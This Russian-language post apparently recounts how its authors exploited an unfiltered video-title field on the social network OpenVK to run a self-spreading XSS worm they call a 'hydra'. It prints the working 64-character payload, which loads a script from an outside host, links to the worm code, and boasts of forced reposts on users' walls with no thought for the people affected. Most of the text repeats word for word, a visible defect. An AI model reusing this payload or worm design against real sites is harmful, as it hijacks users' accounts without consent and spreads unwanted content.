Этой ночью нашли критическую уязвимость в нововведённом видео-плеере, в последствии чего в глобальной ленты OpenVK творилась вакханалия
Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!
Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь (Хотя мы назвали это гидрой, расскажем почему чуть позже), спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).
Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"
Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код:
pastebin.com/maewTdPT
Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.
Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!
Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.
Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом через БД что конечно подсилу только админам
Пост с этим видео набрал за ночь 1534 репоста
Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!
Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь (Хотя мы назвали это гидрой, расскажем почему чуть позже), спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).
Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"
Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код:
pastebin.com/maewTdPT
Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.
Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!
Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.
Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом через БД что конечно подсилу только админам
Пост с этим видео набрал за ночь 1534 репоста